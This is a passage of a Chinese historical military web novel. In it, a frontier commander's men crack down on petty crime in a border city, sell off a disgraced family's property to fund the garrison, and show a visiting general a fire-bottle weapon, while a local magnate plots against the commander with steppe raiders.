庞仁围着那老者转了一圈,忽地蹲下,指着老者刚还“剧痛难忍”的右腿:“这条腿折了?”
老者泪涕交加:“是极是极,动弹不得。”
庞仁点头,猛地出手,五指如铁钳般捏住老者小腿肚。
老者“嗷”的一嗓子,触电般猛地将腿缩回来,双腿下意识乱蹬,连年后退,惊惧地看着庞仁。
“这是腿断的样子?”庞仁哈哈大笑,站起身:“看来是好利索了!这腿缩得比兔子还快!”
“哈哈哈……”围观众人顿时哄笑。
老者面如猪肝,爬起身想跑,却被衙役一把按住。
庞仁脸色一沉:“哼!坑蒙拐骗到爷爷我头上!捆了!送到边寨开荒队去,那儿正缺人干活!”
昨日,城南一小食肆。
一个满脸横肉的汉子拍桌子砸板凳,吃得满嘴流油,桌上堆满空盘。
吃完一抹嘴,他起身便走。
店家小二忙拦住:“客官,您还未结账呢,共三十五文。”
那汉子把眼一瞪:“钱没有,爷爷我吃饭从不给钱!不过爷爷讲规矩,你找人来打我一顿,这账便抵了!”
小二吓得不敢上前,掌柜的愁容满面。
正巧庞仁巡至此处,闻声进来。
店家如看到救星,立刻上前说明情况。
那汉子见状,竟主动迎上:“哟,官爷来了?来得正好,这顿打就由官爷们代劳,打完了事!”
庞仁气乐了:“还有人这等癖好?”
他一摆手:“成全他,按住!”
身后兵卒如狼似虎扑上,将那汉子压倒在地。
庞仁抽出铁尺,却未打,只冷笑:“打你脏了爷的手。”
“既然喜欢挨打抵账,矿山正缺苦力,天天有干不完的重活,饭管够,打也管够,带走!”
汉子这才慌了神,连喊给钱,却已由不得他。
庞仁目光扫过食肆角落,注意到一个一直沉默喝酒的壮硕汉子,见其身材魁梧,目光清明,臂长腰直,似是练家子,不由多看了两眼。
那汉子亦抬眼望来,冬衣单薄,显得窘迫。庞仁立刻上前,坐在对面,自来熟地与他攀谈……
幽州边陲,民风彪悍,城中殴斗之事频繁发生。商队摩擦,也是最令知县韩齐头痛之事。
今日,一支大周商队与一支跑西域的商队因货栈场地争执,双方皆有携刀护卫,言语不通,火气极大,当街械斗,行人避让,或叫好。
县衙衙役弹压不住,急忙报予庞仁。
庞仁带队疾驰而至,铁甲铮铮,瞬间控制场面。
他不管双方如何辩解,只问:“可曾动手?可损坏物件?”
得知虽未死伤,但斗殴间砸坏了临街店铺几家货摊,便大手一挥:“凡动手者,皆锁拿。
各罚银二十两,赔偿店家损失,再犯,严惩不贷。即刻交钱,交不出钱的,一律送去垦荒!”
双方领队皆不服,欲要理论。
庞仁眼一横:“嗯?谁想反对?”
身后军卒刀半出鞘,煞气逼人。
更有甚者,城北军营方向烟尘微起,似有马蹄声隐隐传来。
想到那位坐镇虽身体抱恙、余威犹在的秦将军,双方顿时噤声,乖乖交了罚款,领回手下,偃旗息鼓。
韩齐知县见此法治立竿见影,大受启发,连夜起草告示
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即日起,青阳郡城内严禁私斗。
凡挑衅动手者,一经拿获,重罚银钱;无力缴纳者,一律服苦役,修桥补路、开荒种田。
若有持械抗拒者,军队介入。
告示一张贴各处,各商队纷纷传阅,无不凛然,自此行经青阳城,无不严加约束部下。
庞仁这般“大力出奇迹”的法子,效果却出奇得好。
就这几日,青阳郡城风貌骤变。
市井间坑蒙拐骗者、偷鸡摸狗之徒,一旦被拿,不问情节轻重,多数直接被捆送上马车。
目的地——铁血边寨。
就连那些蜷缩在阴暗角落的流民,也被妥善登记,随后被顺风车行的车队一批批送往边寨安置。
城内街面,再也见不到裹着破絮瑟瑟发抖的老者,亦无衣衫褴褛追逐行乞的孩童。
城中百姓倍感安宁,酒楼茶肆间,议论纷纷:
“奇了怪!这两日,街上连个偷儿都难见了!”
“可不是嘛!那些横行的纨绔子弟,如今个个缩在家里,生怕被庞阎王逮去修城墙!”
“还得是军队镇着!往日衙役拿不住的悍匪,军爷们一出马,立马服帖!”
“虽说手段硬了些,但这日子,过得安心呐!”
他们都道是庞巡检执法如山,却不知这背后,是秦猛临时传授那“非常时用非常法”的决断。
庞仁不过是一把执行到底的快刀。
铁血军寨之名,随着南来北往的商队,迅速传遍北方。
城北军营,募兵一直在持续。
王善负责招收土兵,寨兵,亲兵,忙得脚不沾地。
三日间,已有百余名身强力壮的青壮通过考核,领下号衣,换上县衙送来的皮甲,操练起来,已初具行伍模样。
另一边,李恒主持的产业交接亦是雷厉风行。
刘家留下的二十多处产业,除清风楼等少数商铺暂留,其余布庄、赌坊、粮油铺、典当行乃至城外山头。
三日内,被郡城富户及外来商旅瓜分殆尽。
其中,南河码头之争最为激烈。
这码头乃商船中转要冲,停泊费用日进斗金。
竞价从八千两白银起,一路飙升。
最终,被一支名不见经传的商队,以两万两白银,并加献万石粮食、三百头耕牛的惊人高价收入囊中。
这支商队实则是常九派来的人手。
其余地段上佳的铺面,虽不及码头值钱,也均以不菲价格成交,换回的钱粮数额极为可观。
一切皆依秦猛计划:李恒均以将军私人名义,与得主暗订契约,占两成干股,约定日后,军队会提供保护,并帮忙训练其庄丁护卫。
对此条件,无论本地富户还是外来豪商,无一拒绝,反倒皆大欢喜。
能借此与铁血将军搭上线,花些钱粮又算得什么?
协议既成,各家纷纷施展手段,调集承诺的钱粮物资。
只见车拉马拽,一队队满载粮食和物资的货车结成队伍,源源不断地运往城外铁血边堡。
第91章 走自己的路,让别人说去
天气越发严寒,青阳城街上却依旧人声鼎沸,货郎的吆喝、食客的谈笑声裹着冷风翻涌。
秦猛率队返回,一行人乔装成商队,粗布短打衬着腰间暗藏的兵刃,混在人流中毫不起眼。
唯独袁飞眼尖,频频回头张望。
——往日里蜷缩在街角、散发着酸腐气的流民竟不见了踪影,连坑蒙讹人的泼皮都没了踪迹。
巡街的快班衙役也不再凶神恶煞,甚至还礼让百姓。各商铺老板的笑脸都多了几分踏实。
“秦知寨,”袁飞刻意放慢脚步,找卖水的老汉问清缘由后,快步追上秦猛,语气里带着几分急切。
“坑蒙拐骗者,偷鸡摸狗之辈,本就不是十恶不赦,动辄绑去边寨垦荒修桥,是不是太……”
“太什么?”秦猛停下脚步,指尖摩挲着腰间的佩刀。
他目光扫过粮油铺外挂着“公平秤”的木牌,语气带着几分玩味,“骚年,‘勿以善小而不为’,千万不要忘记,后半句‘勿以恶小而为之’?”
“哪…哪个古人说的?”袁飞听得茫然。
“我一个老乡。”秦猛眼露追忆,往前踏出一步,声音压低了些,却带着不容置疑的力度。
“你当他们是小恶?曾经我亲眼见过老婆婆,被泼皮讹走买药的碎银,当场就哭晕在路边。
还有那吃霸王餐的,把店小二打得头破血流,转头就去赌坊挥霍。
官府管不管?管了,打几板子放了,转头人家照样作恶。
犯罪没成本,收益倒丰厚,这不是放纵是什么?”
袁飞被问得一噎,刚要开口,就听秦猛继续说道:“再者,老子是戍边的边军,不是县衙里磨嘴皮子的衙役。也不是那怂货地方军。
我不管他是偷一文还是骗十两,只要做了,就得受罚。
榜文贴得明明白白,要么去矿洞开矿,要么去边疆开荒,管饱饭、给工钱,干两三个月攒笔钱,回来安分做小生意,不比当泼皮强?”
“可这般行事,容易落人口舌啊!”袁飞终于抓住话头,急声道。
“落就落呗!”秦猛满不在乎地耸肩,嘴角勾起一抹讥诮,“在那些酸儒眼里,咱们武人天生就是粗鲁野蛮的。
我又没想靠着他们的夸赞升官发财,走自己的路,让他们说去!”
他话锋陡然一转,眼底寒光乍现,声音压得极低,“不过,别让老子走别人的路,让他们无路可走。
比如说,要是到了这幽州边陲,还敢有人不讲规矩,拿这事儿嚼舌根,那就甭想着回去了。”
“你这是土匪行径!”袁飞脸色一沉,语气愈发严肃。
秦猛翻了个白眼,伸手勾住他的肩膀,往街边茶馆方向带了两步:“你小子懂个屁!
咱们边军把脑袋别在裤腰带上,守着千里疆域,吃的是掺沙子的干粮,睡的是漏风的帐篷,凭什么过得这么苦,还要受那些老爷们的气?”
他手指重重戳了戳袁飞的胸口,“是咱们太老实,讲规矩。有些人吃相难看,缺了大德,还希望我们讲规矩,瞧给他们惯出了臭毛病!
他们不守规矩,咱们凭什么墨守成规?要想有肉吃g活得体面,就得自力更生——前提是,得先遵纪守法,再把那些坏规矩的人收拾服帖了!”
“可你这也叫遵纪守法?”袁飞瞪大了眼睛,满脸难以置信。
“废话!”秦猛嗤笑一声,压低声音,“我做的哪件事不是占着道义?搞刘德福,是因为他勾结山贼。
罚泼皮,是因为他们害民。咱们得逮住他们的尾巴往死里整,既除了害虫,又能捞好处。
你以为刘德福栽了?可他背后的人会甘心?咱们正好借着这事儿,敲他们一笔,补充军饷,装备等,顺便安插自己人,这才叫会办事!”
“你看着吧,赵家军想法肯定是这样,不会让我去幽州搞死刘德福,他会派人去,与那边接洽。”
“但我要刘德福押送飞虎大营,肯定是没问题。到了咱们手里,捏扁搓圆还不是一句话的事?”
袁飞听得目瞪口呆,张着嘴半天没合上,活像个被噎住的二傻子。
秦猛见他这模样,也不再多言,拍了拍他的肩膀:“你小子还是太年轻,要记住,身为将军,顶在前面扛事儿,手下士兵惹事不怕,关键是要能打,打胜仗,别人怕,将军才有筹码。”
“那要是打输了呢?”袁飞傻傻地问。
“打输了,将军脸面无关啊!”秦猛没有过多解释。
他带着众人往城北军营走去。
刚到军营门口,就闻到一股肉香飘来,庞仁带着七八个亲信,从伙房那边走过来。县衙有伙食,没有军营伙食好,他扯出“边寨是咱娘家”之类的话,厚着脸皮,天天来蹭饭。
见到秦猛,庞巡检立刻收了嬉皮笑脸,快步跑过来行礼,身后还跟着个铁塔似的黑大汉。
那汉子身高八尺有余,膀大腰圆,胳膊比寻常人的腿还粗,脸上带着几分憨厚,却透着股生人勿近的悍气。
“将军,您可算回来了!”庞仁笑得一脸谄媚。
他侧身让出身后的汉子,“这是牛五兄弟,也是燕北人。自幼随父母到中原,学相扑,手上功夫了得,我跟他过了几招,几下就被打翻了。
您不是要扩充亲卫队吗?要身手好的,有绝活的。这兄弟一身本领,绝对符合您的标准!”
说罢,庞仁转向身后汉子:“兄弟,这就是我跟你说的秦将军,跟着他去边寨,前途无量。”
“俺牛五,愿意跟将军杀**!”汉子上前,双手抱拳行礼,瓮声瓮气地开口,声音像闷雷似的。
“好!”秦猛眼前一亮,这等猛士正是亲卫队需要的,当即拍板,“以后你就跟着我,亏待不了你!”
收了牛五,秦猛又想起乔装商队时,表现亮眼的护卫常勇,那虬髯大汉身手矫健,前晚还协助抓住了逃犯杨全,找个机会与他说说。
“庞巡检都有了绰号,看来混熟了。”秦猛上下打量庞仁,突然收敛笑容:“我
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有件事交给你办。”
“大人,尽管吩咐。”庞仁昂首挺胸。
“
午后,郡守府后院。
林安国端着一碗冒着热气的肉粥,站在女儿林婉儿的房门外,手指悬在门板上,犹豫了半天,才轻轻叩响。
“婉儿,开门吧,好歹吃些东西。是父亲错了,不该打发秦将军,日后见了他,我亲自赔不是。”
三日前,他想用财帛来感谢秦猛,划清界线。这位郡守千金当即发了脾气,把自己关在房里。
两三日不怎么吃东西,乳娘,贴身丫鬟劝了无数次,都被她怼了回去,最后只能如实禀报给林安国。
林安国妻子早逝,独自将女儿拉扯大,平日里虽严厉,却最疼她。
此刻听着房内没动静,心里又急又疼,刚要再劝,就听门内传来女儿带着哭腔的声音。
“爹爹就是过分!秦将军救人不求回报,谈吐得体,又懂规矩,您却瞧不上他,还想赶他走!”
“是是是,父亲不对。”林安国连忙认错,声音放得极柔,“你先开门,把粥喝了,饿坏了身子可怎么好?”
房门“吱呀”一声开了条缝,林婉儿眼眶通红,脸上还带着泪痕,却依旧执拗地盯着他。
“那您以后见了秦将军,不许再摆郡守的架子,也不许给人家脸色看!”
林安国见女儿脸色虽差,却不算虚弱,心下稍安,又有些哭笑不得:“你这丫头,怎的尽向着外人?”
“您答不答应嘛!”林婉儿作势要关门,语气里满是撒娇的意味。
“答应,答应!”林安国连忙按住门板,把粥碗递过去,心里却有些酸溜溜的,“你这般向着他,可人家呢?拍拍屁股就走了,未必领你的情。”
话音刚落,就见养伤暂领郡衙护卫队的张崇快步走来,手里捧着一卷用红绸系着的物事。
他躬身道:“大人,小姐。”
“方才有人将此物送到衙门,指名要交给大人。”
林安国把粥碗塞到女儿手里,接过红绸解开,里面竟是一张泛黄的地契,上面的字迹清晰。
——正是城中那家生意最好的胭脂铺,价值少说也有五千两银子!
“谁送来的?可留有话?”
林安国手一抖,地契差点掉在地上,急声问道。
张崇躬身回道:“来人说,是奉秦将军之命,将这产业赠与大人。
还说‘此物务必收下,不珍贵,多少能挣几个钱补贴家用,也能多招募些护卫亲信。幽州这滩水,很浑很深,大人多些底气,也好办事’。”
林安国捏着那张轻飘飘的地契,只觉得重逾千斤。
他想起三日前自己用财帛来感谢,脸上顿时火辣辣的,良久,化作一声长叹,眼底满是复杂:“哎……这秦猛想得长远,倒比我通透啊……”
“哼,此人有勇有谋,那爹爹你还瞧不上人家?”
林婉儿边喝着肉粥,边斜眼看父亲调侃着,突然听到秦将军的名字,女孩心情瞬间多云转晴。
第92章 秦将军返程
秦猛回到城北军营,只见校场上两百多人正在列队训练。
其中几十个寨兵、常家护卫,剩下的都是新招募的士兵。
这里的训练方式比较简单粗糙,主要练习列队、劈砍等动作,不像在边寨那边从站军姿开始。
毕竟身处青阳城,练兵之法需要保密。
秦猛换上飞虎卫铁甲后,派人前往顺风车行下令。
而后他来到校场,直接下令解散队伍,让大家休整吃饭,并收拾行囊。
之后,秦猛带队前往伙房用餐。
中午的饭菜十分丰盛,有红烧肉、有鲜鱼豆腐,几个炒菜,骨头汤。主食是白面馍管饱。
秦猛心想怪不得庞仁那家伙天天带人来军营吃饭。
王善和李恒得知秦猛回来,先后赶来。
他们将秦猛离开后这几天城内聚拢流民的情况、募兵数量、抛售产业及物资筹备情况一一汇报。
秦猛听完后,越发深刻地意识到,当年打倒地主老财是历史的必然。
这不仅为民除害,而且聚拢钱粮的速度极快。
刘家众多产业抛售出去后,换来数万两银子,大批粮食物资,铁血军寨暂时无需为钱粮发愁。
重修芦苇堡、加固双涡堡也绰绰有余。
此外,除了送人的胭脂铺。
还有清风楼、粮油铺、顺风车行,可经营谋利。
看来,这种暴力的手段,才能迅速积累财富。
秦猛点头拍板道:“情况不错,准备一下,今天返程。”
“今天就走?”李恒满脸错愕,以为是听错了。
“没错,飞虎卫赵将军在边寨,还不赶紧回去拜见。”秦猛没有隐瞒,直接说出急着回去的原因。
“把这大人物晾着,必须回去。”
“什…什么?”李恒听后目瞪口呆。
他从小生活在边陲地,当然知道虎贲军飞虎卫赵将军的大名,如今得知这位大人物就在边堡,还被秦猛晾在一边,心中不禁感到震惊。
他的眼神变得有些古怪,仿佛在说,猛哥,你怎么敢如此行事?
“你那是什么眼神?”秦猛瞪了李恒一眼:“快呀,赶紧吃饭,吃完饭,收拾东西,早早走人。”
“幸好流民和大多粮食等物资都已经运回去了。”
“哦哦,我吃过饭了,我这就去办。”李恒回过神,从椅子上蹦起来,边说边往外面小跑。
城北军营,募兵告示被撤下,结束了这一轮招募。
与此同时,顺风车行的车队驶入军营,开始搬运粮食、驱赶牲畜。
不久后,骑兵护送着车队,陆陆续续地出城。
这动静太大,消息根本瞒不住。
秦猛直接派人向县衙、郡衙告知情况。
他称边寨有紧急情况,必须立刻率队返回坐镇。
秦猛因军情紧急要离开!
青阳郡城的居民心里莫名空落落的。
但暗地里却有人欢喜,想着这个“秦煞星”总算是要走了。
秦猛率军离开时,青阳郡城的大小官吏都来送行。
县衙知县韩齐表现得十分积极,同时又带着不舍之情。
这几天他总算体会到背后有靠山是怎样的感觉。
他领着县丞、主薄、巡检等一众大小官吏前来相送。
郡守、郡丞虽然没有亲自来,但也派来了心腹,汇入官员队伍中送别,那架势仿佛十分不舍。
“诸位,就此别过。”秦猛朝众人说道。
他眼神锐利,扫过人群中那些不怀好意的目光,心中猜到对方巴不得自己赶紧走,大概是想来确认自己是真的走,而不是放个假消息。
他朝韩知县、庞巡检等人拱手,声音洪亮地说道:“青阳郡城就劳烦诸位治理,务必要做到后方稳固,百姓安居乐业,不负朝廷期望。”
秦猛骑在马上,煞有介事地向某个方向拱手。
“铁血军寨离此不过二十多里,骑兵队转瞬即至。”
“**来犯在即,我希望诸位齐心协力,莫要生事端。”
“秦将军放心,边堡后方有我们,确保无忧。”韩知县满脸诚恳地说着。
“我们会准时调拨粮草物资,彼此同仇敌忾,抵御**。”
随后,秦猛跟众人拱手作别,率队继续前行。
很快,队伍渐行渐远,直至消失在寒风之中。
三天来,在李恒的安排下,招募的流民和采购的粮食、物资,通过顺风车行的车队送至边寨。
此次返程队伍运送的粮食、棉布等物资数量并不多。
牛羊牲畜都被绑住放在车上,人人骑马或驾车,行进速度飞快。
天黑前,队伍就抵达边寨三里外。
中途,秦猛派出袁飞、王善带着十多骑兵原路折返。除了少数人,没有人知道他们已经离开。
秦猛望着边寨越来越近,朝身边的虬髯大汉常勇说道:“常勇,你身手不错,有没有兴趣加入边军,做个队将?我铁血军寨缺你这种好手。”
“这个……”常勇眼中闪过一丝意动。
秦猛清楚汉子的顾虑,却故作不知,继续说道:“近年来,草原鞑虏越发猖獗,视我大汉儿郎为两脚羊,肆意欺凌。”
“我辈热血男儿岂能沉默?”
“男子汉大丈夫,立于天地之间,当在战场上建功立业。”
“靠一刀一枪,博个功名,封妻荫子,岂能甘心做个护卫?”
常勇眼里的意动更明显了,却始终没有说话。
他身边不少护卫都热血沸腾,恨不得当场答应。
只是常勇在他们之中颇有威望,没有人敢擅自做主答应。
“勇哥,这是个好机会。”常勇身边好几人提醒道。
“秦将军,谁不想建功搏个出身?”常勇表明态度,话语一转。
他躬身道:“大人厚爱,属下心领了。”
“只是前几年,我在青州遭遇山贼,身受重创,多亏东家
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路过搭救,悉心照料,这份恩情未还。”
“故而去年我随他北上幽州,身为护卫,需先问过常东家的意思,得他允许,才能给将军准话。”
“无妨。”秦猛不做强求,说道:“他肯定会同意的。”
“回军寨后,你顺便转告你家东家,联合护卫队的事该提上日程了。”
“后续欧洲各地护卫会分批送来进行军事训练,商队常走边塞路,没点自保能力,迟早要出事。”
“遵命!”常勇拱手应下,眼中多了一丝期盼的神色。
这时,李恒趴在马背上,笨拙地策马凑到秦猛身边,说道:“猛子哥,我突然有点慌。”
“你慌什么?”秦猛眉头一挑,反问道。
“我慌你把将军晾着,他会不会怪罪?”
李恒望着军寨,想着秦猛说过的话,莫名感到心虚。
铁血军寨,校场。
“列队,报数。”负责训练的李山高声喊道。
“一,二,三,四…”新兵们依次报数。
秦大壮的腿依旧有点哆嗦,硬着头皮临场督训。前方,服装统一的新兵踏步列阵,扭头报数。
赵起将军黑着脸,背负双手,看着寨兵操练。
他眼神锐利,时而皱眉,时而点头,时而摇头。
这可苦了负责操练军卒的秦部将,一颗心砰砰乱跳。
他在心里呐喊着祈祷着:猛哥儿,你快回来!
赵起将军之所以脸色难看,是有多种原因。
一,是铁血军寨训练新兵的方法十分奇特,他戎马生涯多年,觉得这种方法有效,却又说不上来个所以然,竟然有些看不懂。
二,是亲兵昨天飞马来报喜讯,说队伍凯旋,唯独秦猛有事外出,未作详细阐述,这令他十分疑惑。
另外就是午后遇到的一件事。
他从军寨外驻地带人来寨内巡视,检阅练兵。
没想到竟被人指着鼻子,大声喝骂,差点挨打。
没错,就是一个憨货差点动手。
事情的起因是,带突击队训练的乌维被赵将军上下打量。那炙热的目光看得他浑身发毛。
乌维顿时恼了。
他瞪着铜铃般大的眼睛,指着来巡视的赵将军的鼻子喝斥:“你瞅啥?信不信抽死你丫的?”
这傻大个也不知跟谁学的,竟学些骂人的话。
当时就把赵将军给训斥得愣在原地。
他的亲兵队长赵平勃然大怒,指着乌维喝骂“放肆”之类的话。
乌维是那种人狠话不多的类型,直接冲上来就要动手。
要不是他队伍中的壮汉们拼命抱住他,这事恐怕就一发不可收拾了。
秦大壮得知消息,哆哆嗦嗦地跑过来。
他搬出秦猛的大名,朝乌维劈头盖脸一顿臭骂。
最后,还把乌维关了禁闭。
尽管如此,戎马半生的赵将军被人骂的事实却无法更改。将军能有好脸色,那才叫有鬼。
第93章 恭迎秦知寨
校场之上,朔风凛冽如刀锋刮过脸颊。百余名寨兵如松柏般挺立,任凭寒风如何呼啸肆虐,他们的身形纹丝不动,目光如炬直视前方。
——这是秦猛严格要求的“站军姿”训练法。正在这群新兵身上淬炼出惊人的纪律性。
随着时间的推移,有人双腿开始微微颤抖,额头渗出冷汗,在寒风中凝结成冰,却依旧无人退缩。
就连李山、秦大壮等军官也在训练。
他们又累又冷,脊梁却挺得更加笔直,仿佛有一股无形的力量在支撑着每个人的意志。
校场上百多人,却静得可怕。
唯有紧挨着军营的炼盐作坊,传来嘈杂声和滚滚热浪,为这些近乎冻僵的士兵带来一丝暖意。
当终于有人身体摇晃、踉跄,几近极限时,秦大壮立即高声喝道:“休息一刻钟,自由活动。”
声音洪亮如钟,彰显着他日益增长的威信。
士兵们迅速活动手脚,慢跑跳动。
但他们的姿态已然不同往日,脊背依旧挺得笔直。
赵起将军与士兵同甘共苦站完全程,将这一切尽收眼底。此刻目光愈发深邃,也越发好奇。
他敏锐地察觉到这支队伍正在发生脱胎换骨的变化。
“秦副将,新兵练这个有用吗?”
赵起看着秦大壮,声音平静却带着不容置疑的威严。
秦大壮深吸一口气,努力让自己的声音保持稳定:“回将军,第一批百人练了十来天,精气神有了明显的变化,站有站样,坐有坐相。”
“秦知寨说,这是在磨炼军卒的意志,增强纪律,做到令行禁止。”
“令行禁止?”一旁的赵平嗤笑出声,语气中满是轻蔑。
这笑声让秦大壮刚刚积攒的底气瞬间消散大半。
赵平是亲卫营正将,本就因之前山蛮巨汉的鲁莽而恼怒,更何况,在马下动手,他多半被那巨汉摁在地上摩擦,这股火气一直没消。
赵平语气带着尖酸刻薄说道:“不是我孤陋寡闻,就这样站一站,就能让军队做到令行禁止?这不是……”
“好了!”赵起抬手制止了亲卫统领的嘲讽。
他眼中闪烁着感兴趣的光芒:“依本将看来,这种练兵只是基础,应当还有后续步骤吧?”
“将军明鉴。”秦大壮老实回答:“秦知寨说过,站军姿只是基础,后续会增加体能训练,再辅骑马射箭、劈砍刺杀,才能打下扎实根基。”
“打下根基?”赵起挑眉,兴趣更浓。
“没错。”秦大壮将秦猛的话原样复述。
“秦知寨还说,强兵不是练出来的,而是厮杀出来的。”
“只有经过血与火的考验,才能锻造出真正的精兵悍将。”
“好,说得好!”赵起眼中闪过赞赏之色,正欲深入询问时,却见一个飞虎卫飞奔来报:
“报,秦知寨回来了!”
赵起顿时朗声笑道:“走,一同迎接秦知寨。”
说罢,这位赵将军率先迈步向前,朝着堡门方向走去。
秦大壮双腿抖动得更加厉害,艰难地挪动脚步跟上。
而在后堡门外,秦猛正率领队伍归来,他早已提前让人回来通知,因此箭楼上的号角并未响起。
老保长王槐、诸葛风等人闻讯赶来,一边引领车队入堡,一边安排人手将粮食清点入库。
那十多口装满银子的大箱子则由秦猛亲兵严密护卫——这一幕却被迎面走来的赵起尽收眼底。
“恭迎秦知寨归来。”赵将军笑眯眯地挥手道。
场中气氛瞬间变得微妙起来。
老保长和诸葛风下意识交换了一个担忧的眼神。
“哎哟,将军折煞末将了。”秦猛翻身下马,小跑上前郑重行礼,脸上堆着恰到好处的笑容。
赵起尚未开口,亲兵统领赵平已经愤然出声:“秦知寨,不久前,你的手下可是指着将军开骂。”
“谁?”秦猛笑容一僵,心中已有猜测谁这么大胆。
跟过来的秦大壮哭丧着脸提醒:“是乌维那个傻大个。”
秦猛心说果然是他,勃然大怒:“将军放心,这傻大个如此无礼?回头我定狠狠收拾他!”
“这家伙脑袋是个山蛮子,您千万别跟他一般见识。”
“你都这么说了,惩处就免了吧。”赵起摆了摆手,目光却落在了正徐徐入堡的车队上。
从昨天起他率军赶来,就看到不少车队涌入寨中。此刻,他不禁打趣道:“看这阵仗,这回秦知寨怕是收获颇丰啊!”
“一般般,就是运气好,捡了些小便宜。”
秦猛哪敢说实话,只能打着哈哈谦虚地笑了笑。
赵起显然不吃他这套说辞,脸上带着意味深长的笑:“我已经派人去接应周扬他们了,他们晚上应该能赶回来,秦知寨抄了山贼老巢。”
秦猛见对方这副神情,知道今天不出血是不行了。他伸出五根手指,语气铿锵有力地说。
“500匹草原好马,将军要是需要,带走便是。”
“五百匹?”赵起面上闪过错愕。
“哪来这么多?”赵平脱口而出,难掩震惊之色。
“你是?”秦猛见到又是这货插话,斜着眼问。
“亲卫营正将赵平。”赵平看到那眼神,大怒。
“秦知寨真是威风八面呐!”
“那没办法,谁叫我是知寨官呢!”秦猛昂首挺胸,很是牛叉的说着,甩给对方一个后脑勺。
他向赵起汇报:“将军,冷艳山来袭,得一百余匹;
赴青阳郡城途中遭遇狼戎骑兵,消灭这伙贼人,又缴获百多匹;
解冷艳山之围再得三百多匹,共计五百多匹。”
“赴青阳郡城?”赵起敏锐地抓住关键,目光如炬地盯着秦猛:“你一个边寨将领去郡城做甚?”
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>秦猛环视四周,压低声音:“此事说来话长,宴席上末将再详细禀报。”
赵起没再追问,转而提起了另一件事:“据报,军寨击溃贼人时使用了一种能**起火的小瓶,威力惊人。”
秦猛心知无法隐瞒,坦然承认:“正是末将与火器作坊新研制的新武器,我称之为**。”
“原本是为冬季**来袭准备的,没想到先让山贼尝了鲜。”
赵起当即要求亲眼验证。
秦猛立即命**去火器作坊取样品,并传唤范师傅前来拜见。
众人来到堡外旁空旷地带。
秦猛手持一个陶瓶向赵起展示:“此乃**。特制引信可控制时间,点燃后,奋力投出即可。”
他亲自示范,点燃引信,心中默数,随即奋力掷出。
**划出一道优美弧线,落地瞬间轰然**!
窜起一丈多高的火云,火焰瞬间覆盖四五米范围,热浪扑面而来,就连远处众人都感到皮肤灼痛。
飞虎卫精锐们目瞪口呆。
赵平喃喃自语:“有此神物,**何足道哉?”
赵起目睹**的威力后,连声赞好:“若我军配备此物,对付**骑兵便有了利器!”
秦猛微微昂首,自信满满:“防守战已检验过两次,效果极佳。”
“野战尚未尝试,但出其不意定能扰乱敌阵。”
“能否量产?”赵起切中要害。
秦猛如实相告:“可批量生产。”
“造价几何?”
秦转向范良:“范师傅,将军问价。”
范良激动上前:“回将军,主要原料是猛火油,绢布,按市价,一两银子可制二十瓶。”
这比实际产量少报了些,既留余地也防油价波动。
“另需阴凉处保存,期限半月左右。放置过久,威力会打折扣。”
“半月?猛火油?”赵起稍作沉吟,当即拍板:“我即令人从大营调运猛火油,其他所需原料尽管开口,务必在界河冰冻前,批量生产!”
“是!”秦猛与范良齐声回应,语气坚定。
“末将(小人),必定不负将军所托!”
众人随后一同返回边寨。
刚走没多久,赵起环顾四周,却没看到熟悉的身影,便好奇地问秦猛:“秦知寨,为何不见袁飞?今日这般热闹,他怎么没在寨中?”
“哦,将军,袁队长临时领了个任务出去了,晚点就能回来。”秦猛眼神微微闪烁了一下,并未说出袁飞等人的具体去向,含糊地应付了过去。
当夜幕降临,一匹探马返回告知情况。
不久后,远处火把形成的长龙迅速靠近军寨。
那是飞虎精锐护送张富贵等人返回。
规模更大,绵延数里地的车队驶抵铁血军寨。
老保长和诸葛风再次忙碌起来,安顿韩勇,刘三等人,引导马群分流至附近飞虎卫驻地……
第94章 引蛇出洞
要问,袁飞他们究竟干嘛去了?
那真的是有特殊任务,事情还要再说回青阳郡城。
秦猛离城的消息,像一阵松快的风,吹遍了青阳郡的大街小巷。
头顶悬了多日的“利刃”没了!
城内被秦猛铁腕震慑的商队,终于敢卸下紧绷的神经。
那些平日里横行街头的纨绔子弟,也敢揣着银袋走出家门,他们照旧往青楼、赌场钻,却不敢再像从前那样嚣张,动辄砸东西、**。
毕竟秦猛虽走,他手下庞阎王还在,谁也不想触这个霉头。
暮色彻底吞没郡城!
董家府邸的密室里,烛火被穿窗的夜风搅得忽明忽暗。
董袭坐在太师椅上,指节死死攥着一枚羊脂玉佩。
烛火摇曳,映照在他阴沉的脸上。手中的玉佩几乎要被捏碎,指节因用力而泛白却浑然不觉。
几天前在郡衙的场景,像一根**,反复扎着他的心。
——秦猛当着满厅官吏的面敲打他,甚至手按刀柄威胁,逼他同意保举张崇、庞仁两人。
当着面打他的脸,分走他的权利。
这种羞辱像毒蛇般啃噬着董袭的内心。
“秦猛啊秦猛,你以为抓了刘德福的把柄,就能在青阳郡横着走?他死不死又与我何干?”
董袭低声冷笑,攥紧了玉佩,眼底满是狠戾。
“燕北郡青阳城,我董家在此经营了十多年,门生故吏遍布,郡城头号豪强,林安国我都不惧。
岂是你一个武夫能撼动的?”
既然想找死,那我就成全你!他猛地起身,走到墙边,推开一块不起眼的墙砖,露出暗格。
暗格里,一叠泛黄的信纸和一瓶深褐色的特制墨水静静躺着,是他与草原联系的秘密工具。
“你越嚣张知道的越多,死得就越快!”
董袭对着虚空喃喃自语,仿佛秦猛就站在面前。
他抽出信纸,提笔蘸墨的手稳得惊人,笔尖在纸上飞快舞动,每一个字都藏着要置秦猛于死地的狠劲。
他要靠自己的手段,给草原的狼戎写一封密信,借异族的刀,拔掉这颗扎在他心头的眼中钉。
一个刚升格的边寨,还不放在他眼中!他董袭才是燕北郡的主人,谁威胁到他,都要死。
夜渐深,青阳郡城灯火尽灭,只有呜呜的朔风声。
北城门的灯火,只剩下挂着的马灯。
昏黄的灯光催人欲睡,几个值夜的士兵靠在城门洞的柱子上,脑袋一点一点地打着瞌睡。
守军王老幺打了个哈欠,用矛杆捅了捅身旁的年轻士兵:“睡吧,这鬼天气,**不会来的。”
“队长,这样不好吧?这规矩……”
“规矩?”王老幺嗤笑一声,“规矩要是有用,怎的不见都头?天塌下来有他顶着,睡你的觉!”
“那庞阎王来,咋办?”年轻士兵又问。
“城门轮不到巡检司管。”王老幺眼神闪烁不定,拍拍小伙的肩膀:“秦将军走了,眯一会儿。”
年轻的士兵闻言这才不勉强睁眼,靠着慢慢睡着。
守军的营房里,鼾声此起彼伏。
十多个值夜的厢军士兵东倒西歪,手里的**斜斜地倚着,值班都头腰间的佩刀都松了鞘。
